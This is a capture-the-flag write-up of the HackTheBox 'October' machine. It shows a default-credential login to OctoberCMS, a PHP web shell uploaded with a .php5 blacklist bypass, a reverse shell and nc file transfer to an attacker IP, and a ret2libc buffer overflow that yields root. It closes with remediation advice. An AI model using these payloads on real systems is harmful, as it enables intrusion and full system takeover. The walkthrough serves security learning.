October - HTB Medium Machine
About
October is a fairly easy machine to gain an initial foothold on, however it presents a fair challenge for users who have never worked with NX/DEP or ASLR while exploiting buffer overflows.
Exploitation
Enumeration
The initial Nmap scan reveals two open ports: 22 (SSH) and 80 (HTTP). My starting point will be port 80, which is running an Apache web server.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 79:b1:35:b6:d1:25:12:a3:0c:b5:2e:36:9c:33:26:28 (DSA)
| 2048 16:08:68:51:d1:7b:07:5a:34:66:0d:4c:d0:25:56:f5 (RSA)
| 256 e3:97:a7:92:23:72:bf:1d:09:88:85:b6:6c:17:4e:85 (ECDSA)
|_ 256 89:85:90:98:20:bf:03:5d:35:7f:4a:a9:e1:1b:65:31 (ED25519)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: October CMS - Vanilla
| http-methods:
|_ Potentially risky methods: PUT PATCH DELETE
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
The http-title from the Nmap scan indicates the site is running October CMS. Navigating to the site reveals a blog with a forum and a user login page.
My first attempts at the login form using default credentials like admin:admin and basic SQL injection payloads don't show any success.
The site also features a user registration form. I created an account and logged in, but this revealed no new functionality. The authenticated user area appeared identical to the public-facing site, and there were no signs of broken authentication vulnerabilities.
Finally, I examined the password reset form. It's designed to send an activation code to the user's email address, which makes it a dead end for now since I don't have access to the admin's email.
Foothold
Instead of resorting to brute-force attacks, which should always be a last resort, I decided to research vulnerabilities related to OctoberCMS. I found a PoC for CVE-2021-32649, a remote code execution vulnerability. While the exploit itself requires admin access, the article provided a piece of information: the admin login panel is typically located at /backend.
Navigating to the /backend directory redirected me to a different, more administrative-looking login form. I retried the default credentials admin:admin, and this time, it worked.
I attempted to follow the steps from the CVE PoC, but they didn't work, I think this instance of OctoberCMS has likely been patched against that specific vulnerability, so I try another approach.
Exploring the admin panel further, I discovered a media upload feature. A pontential vector for gaining a foothold.
I created a simple PHP web shell to test for file upload vulnerabilities.
<?php system($_REQUEST['cmd']); ?>
My initial attempt to upload the file with a .php extension was blocked.
A quick search led to an Exploit-DB entry for an older version of OctoberCMS that details a file upload protection bypass. The application uses a blacklist to prevent certain file extensions from being uploaded.
1. PHP upload protection bypass
-------------------------------
Authenticated user with permission to upload and manage media contents can
upload various files on the server. Application prevents the user from
uploading PHP code by checking the file extension. It uses black-list based
approach, as seen in octobercms/vendor/october/rain/src/Filesystem/
Definitions.php:blockedExtensions().
==================== source start ========================
106 <?php
107 protected function blockedExtensions()
108 {
109 return [
110 // redacted
111 'php',
112 'php3',
113 'php4',
114 'phtml',
115 // redacted
116 ];
117 }
Extensions like .php5 are not on this list. I renamed my shell to shell.php5 and tried uploading it again.
This time, the upload was successful.
The media manager provides the direct path to the uploaded file.
By navigating to the file's URL and passing a command through the cmd parameter ?cmd=id, I confirmed that the web shell was working and I had remote code execution as the www-data user.
With RCE confirmed, the next step is to establish a proper reverse shell. I located a standard PHP reverse shell on my system within the seclists repository.
└─ $ locate php-reverse-shell.php
/usr/share/seclists/Web-Shells/laudanum-1.0/php/php-reverse-shell.php
I copied it to my working directory to modify it.
┌── ➤ october
└─ $ cp /usr/share/seclists/Web-Shells/laudanum-1.0/php/php-reverse-shell.php .
I updated the script with my IP address and a listening port.
$ip = '10.10.16.4'; // CHANGE THIS
$port = 9001; // CHANGE THIS
Next, I set up a netcat listener on port 9001 to catch the incoming connection.
nc -lvnp 9001
I renamed the reverse shell script to use the .php5 extension to bypass the filter.
┌── ➤ october
└─ $ mv php-reverse-shell.php php-reverse-shell.php5
Finally, I uploaded the new php-reverse-shell.php5 file through the media manager and triggered it by accessing its URL.
This successfully caught the connection in my listener, granting me a shell on the target machine.
└─ $ nc -lvnp 9001
Listening on 0.0.0.0 9001
Connection received on 10.10.10.16 37586
Linux october 4.4.0-78-generic #99~14.04.2-Ubuntu SMP Thu Apr 27 18:51:25 UTC 2017 i686 athlon i686 GNU/Linux
22:15:57 up 1:24, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
Once the shell is received, it’s often limited. To improve the experience and gain a more functional terminal:
python3 -c 'import pty; pty.spawn("/bin/bash")'
Then suspend the shell (CTRL+Z) and configure the terminal locally:
stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;
This provides a stable and fully interactive TTY shell.
www-data@october:/$ whoami
www-data
USER
from here I can go to the user directory and get the flag.
www-data@october:/home/harry$ cat user.txt
d5b4c7a4fe1811e....
Privilege Escalation
With no user credentials to work with, Im going to straightforward to linpeas.sh.
On the attacker machine:
sudo python3 -m http.server 8001
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
Then, from the target machine, I downloaded and executed the script.
cd /tmp/
wget http://10.10.16.4:8001/linpeas.sh
chmod +x linpeas.sh
bash linpeas.sh
The script returned several interesting findings. The first was a set of hardcoded database credentials.
╔══════════╣ Analyzing Backup Manager Files (limit 70)
-rw-rw-r-- 1 www-data www-data 3917 Apr 20 2017 /var/www/html/cms/config/database.php
'database' => 'storage/database.sqlite',
'host' => 'localhost',
'database' => 'october',
'password' => 'OctoberCMSPassword!!',
'host' => 'localhost',
'database' => 'database',
'password' => '',
'host' => 'localhost',
'database' => 'database',
'password' => '',
'host' => '127.0.0.1',
'password' => null,
'database' => 0,
I attempted to use this password for various users (www-data, harry, root) via SSH and also tried to connect to the local MySQL database, but had no luck. This lead was a dead end.
www-data@october:/tmp$ mysql
ERROR 1045 (28000): Access denied for user 'www-data'@'localhost' (using password: NO)
Linpeas also hinted at a potential vulnerability in pkexec, given its version and SUID permissions.
══╣ Polkit Binary
Pkexec binary found at: /usr/bin/pkexec
Pkexec binary has SUID bit set!
-rwsr-xr-x 1 root root 18168 Nov 24 2015 /usr/bin/pkexec
pkexec version 0.105
-rwsr-xr-x 1 root root 18K Nov 24 2015 /usr/bin/pkexec ---> Linux4.10_to_5.1.17(CVE-2019-13272)/rhel_6(CVE-2011-1485)/Generic_CVE-2021-4034
I tried a known exploit for this, but it failed to execute successfully on this host, leading to another dead end.
wget http://10.10.16.4:8001/CVE-2019-13272.c
www-data@october:/tmp$ gcc -s CVE-2019-13272.c -o pwned
www-data@october:/tmp$ ./pwned
Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
[.] Checking environment ...
[!] Warning: $XDG_SESSION_ID is not set
[.] Searching for known helpers ...
[.] Searching for useful helpers ...
[.] Ignoring blacklisted helper: /usr/lib/update-notifier/package-system-locked
The most promising finding from Linpeas was an unknown SUID binary located at /usr/local/bin/ovrflw.
══════════════════════╣ Files with Interesting Permissions ╠══════════════════════
╚════════════════════════════════════╝
╔══════════╣ SUID - Check easy privesc, exploits and write perms
-rwsr-xr-x 1 root root 7.3K Apr 21 2017 /usr/local/bin/ovrflw (Unknown SUID binary!)
just calling it returns a message asking for input string
www-data@october:/usr/local/bin$ ./ovrflw
Syntax: ./ovrflw <input string>
A simple test, feeding it a long string of characters, resulted in a Segmentation fault. This was a clear indicator of a classic buffer overflow vulnerability. Since the binary has the SUID bit set and runs as root, this was the perfect path to privilege escalation.
www-data@october:/usr/local/bin$ ./ovrflw $(python -c 'print "nika"*1000')
Segmentation fault (core dumped)
Note
A "Segmentation Fault" is an error signal sent by a computer's operating system to a program when the program tries to access a memory location that it is not allowed to access.
Think of your computer's memory as a series of numbered mailboxes. Each program is assigned a specific range of mailboxes it's allowed to use. A segmentation fault happens when your program tries to read from or write to a mailbox that:
Doesn't exist.
Belongs to the operating system.
Belongs to another program.
To properly analyze and exploit the binary, I needed a copy on my local machine. I copied it to a web-accessible directory when i upload the files earlier.
www-data@october:/var/www/html/cms/storage/app/media$ ls
nika.php5 php-reverse-shell.php5
Copying the binary to that directory
www-data@october:/var/www/html/cms/storage/app/media$ cp /usr/local/bin/ovrflw .
Now I could download it from my browser.
An alternative transfer method is using nc.
On the attacker machine:
nc -lp 9002 > ovrflw
On the target machine:
nc -w 5 10.10.16.4 9002 < /usr/local/bin/ovrflw
After any file transfer, it's always a good idea to verify the integrity of the file with a hash check.
└─ $ md5sum ovrflw
0e531949d891fd56a2ead07610cc5ded ovrflw
For the analysis, I turned to gdb with the GEF extension, a toolset for exploit development.
After installed, its just start as starts gdb itself.
└─ $ gdb -q ovrflw
My first step inside GDB was to run checksec to understand the binary's security protections. This command checks for properties like Canaries, NX, and PIE.
gef➤ checksec
[+] checksec for '.../october/ovrflw'
Canary : ✘
NX : ✓
PIE : ✘
Fortify : ✘
RelRO : Partial
The most important finding here is that the Canary is disabled (✘). A canary is a value placed on the stack to detect buffer overflows; without it, overwriting the return address is much simpler. However, NX is enabled (✓). This stands for Non-eXecutable stack, which means I can't just place my own shellcode on the stack and execute it. This limitation forces me to use a Return-to-libc (ret2libc) attack, where I'll reuse existing code from loaded libraries.
Next, I needed to find the exact offset to control the instruction pointer (EIP). For this, I used GEF's pattern create command to generate a unique, non-repeating string of bytes. By using this pattern as input, I can determine precisely how many bytes it takes to overwrite the return address.
gef➤ pattern create 1000
[+] Generating a pattern of 1000 bytes (n=4)
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacj
aackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesa
aetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaa
hdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaaj
maajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaaj
[+] Saved as '$_gef0'
I ran the program with this pattern, which caused a crash. The EIP register was overwritten with 0x62616164.
gef➤ run 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacj
aackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesa
aetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaa
hdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaaj
maajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaaj'
[ Legend: Modified register | Code | Heap | Stack | String ]
─ registers ────
$eax : 0x0
$ebx : 0xf7f88e0c → 0x0022cd2c
$ecx : 0xffffd600 → "jyaaj"
$edx : 0xffffd29f → "jyaaj"
$esp : 0xffffcf30 → "eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqa[...]"
$ebp : 0x62616163 ("caab"?)
$esi : 0x0
$edi : 0x080484d0 → <__libc_csu_init+0000> push ebp
$eip : 0x62616164 ("daab"?)
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63
─ stack ────
0xffffcf30│+0x0000: "eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqa[...]" ← $esp
0xffffcf34│+0x0004: "faabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabra[...]"
0xffffcf38│+0x0008: "gaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsa[...]"
0xffffcf3c│+0x000c: "haabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabta[...]"
0xffffcf40│+0x0010: "iaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabua[...]"
0xffffcf44│+0x0014: "jaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabva[...]"
0xffffcf48│+0x0018: "kaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwa[...]"
0xffffcf4c│+0x001c: "laabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxa[...]"
─ code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x62616164
─ threads ────
[#0] Id 1, Name: "ovrflw", stopped 0x62616164 in ?? (), reason: SIGSEGV
── trace ────
Using pattern offset, I found the position of this value in the pattern is 112.
gef➤ pattern offset 0x62616164
[+] Searching for '64616162'/'62616164' with period=4
[+] Found at offset 112 (little-endian search) likely
Tip
The number in this case 112 is the exact amount of junk data (padding) needed to fill the program's buffer and reach the spot on the stack where the return address is stored.
To confirm this offset, I ran the program again with 112 "A"s followed by a unique 4-character string.
gef➤ run $(python -c 'print("A"*112 + "nika")')
The program crashed as expected, and the EIP was overwritten with 0x616b696e, which is the hexadecimal representation of "nika" in little-endian order.
[#0] Id 1, Name: "ovrflw", stopped 0x616b696e in ?? (), reason: SIGSEGV
With the NX protection enabled, my plan was a ret2libc attack. I needed to find the addresses of the system and exit functions within the C library on the target machine. First, I used ldd to identify which shared libc library the binary was using.
www-data@october:/tmp$ ldd /usr/local/bin/ovrflw | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75a9000)
Next, with the library path known, I used readelf to find the offsets of the specific functions I needed. These are not the final memory addresses but their positions relative to the start of the library.
www-data@october:/tmp$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -e " system@" -e " exit@"
139: 00033260 45 FUNC GLOBAL DEFAULT 12 exit@@GLIBC_2.0
1443: 00040310 56 FUNC WEAK DEFAULT 12 system@@GLIBC_2.0
The final exploit needed to be run in a loop while true; do ...; done. This is necessary to overcome Address Space Layout Randomization (ASLR), a security feature that changes the base address of libraries like libc on each execution. By running the exploit repeatedly, it will eventually guess the correct memory addresses and land the shell.
while true; do /usr/local/bin/ovrflw $(python -c 'print "\x90"*112 + "\x10\x83\x63\xb7" + "\x60\xb2\x62\xb7" + "\xac\xab\x75\xb7"'); done
....SNIP....
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
ovrflw: ����u�v
���:3219567104: ��6#: Assertion `����' failed.
Aborted (core dumped)
#whoami
root
The final payload explained:
| Part | Code | Explanation |
|---|---|---|
| 1. NOP Sled | "\x90"*112 | \x90 is the NOP (No-Operation) instruction on x86 CPUs. It does nothing. This creates a "landing strip" of 112 bytes. If the program jumps anywhere in this area, it will "slide" down the NOPs until it hits the next part of the payload. The 112 is the offset you previously calculated. |
| 2. New Return Address | "\x10\x83\x63\xb7" | This is the most important part. It overwrites the original return address on the stack. Because of little-endianness, the bytes are reversed. The actual address is 0xb7638310. This is the memory address of the system() function. |
| 3. Fake Return Address | "\x60\xb2\x62\xb7" | After system() is called, it needs a place to return to. This is a placeholder address ( 0xb762b260 ) that acts as the "return address" for the system() call itself. It could be the address of exit() or just junk data. |
| 4. Argument for system() | "\xac\xab\x75\b7" | This is the argument that will be passed to the system() function. The address 0xb775abac (bytes reversed) points to a string in memory, such as "/bin/sh". |
the control flow:
[BUFFER START] ... [ 112 bytes of NOPs (\x90) ] [ Addr of system() ] [ Fake Ret Addr ] [ Addr of "/bin/sh" ] ^ | (EIP takes control here)
ROOT
From here its just read the flag from the root directory
#cat /root/root.txt
8a4fbd12d629....
Vulnerability Analysis
Initial Access: Weak Authentication and Insecure File Upload
The initial foothold was achieved by exploiting two common web application vulnerabilities. First, the administrative panel at /backend was secured with default credentials (admin:admin), a critical oversight classified under CWE-287: Improper Authentication. This allowed immediate, unauthorized access to a privileged section of the application.
Once inside the admin panel, a second vulnerability was exploited: CWE-434: Unrestricted Upload of File with Dangerous Type. The application's file upload mechanism relied on a weak blacklist to block executable files. By renaming a PHP shell to use the .php5 extension, an extension not present on the blacklist, it was possible to upload and execute arbitrary code on the server.
Privilege Escalation: SUID Binary Buffer Overflow
Privilege escalation was possible due to a custom SUID binary, /usr/local/bin/ovrflw, which contained a classic buffer overflow vulnerability, corresponding to CWE-120: Buffer Copy without Checking Size of Input. Because the binary runs with root privileges (CWE-250: Execution with Unnecessary Privileges), successfully exploiting this flaw grants the attacker a root shell.
The binary was compiled without stack canaries, a security mechanism designed to detect and prevent such overflows, making the exploit significantly easier to develop. Although the system had modern defenses like NX (Non-eXecutable stack) and ASLR (Address Space Layout Randomization), the NX protection was bypassed using a Return-to-libc attack, and ASLR was defeated by repeatedly running the exploit until the correct memory addresses were guessed.
Vulnerability Remediation
Strengthening Web Application Security
To prevent unauthorized access, developers must eliminate the use of default or hard-coded credentials. The application should enforce a mandatory password change for the admin account on first login. Additionally, implementing policies for strong, unique passwords and enabling rate-limiting on login forms can defend against brute-force attacks.
For the file upload vulnerability, developers should replace the blacklist with an allowlist approach. Instead of blocking known dangerous extensions, only permit a specific set of safe file types (e.g., .jpg, .png, .pdf). Furthermore, the application should verify a file's MIME type or magic bytes to ensure its content matches its extension. System administrators should also configure the web server to store user-uploaded files in a directory without execution permissions.
Securing Custom Binaries and System Hardening
To mitigate the buffer overflow, developers must recompile the binary with modern security flags enabled, especially stack canaries (-fstack-protector-all). All unsafe C functions like strcpy() and gets() should be replaced with their bounds-checking alternatives, such as strncpy() and fgets(), which prevent writing past the buffer's boundary.
System administrators should conduct regular audits for custom SUID binaries. If the ovrflw binary is not essential for system operation, its SUID permission should be removed (chmod u-s /usr/local/bin/ovrflw), or the binary should be deleted entirely. This practice of applying the principle of least privilege is crucial for minimizing the system's attack surface.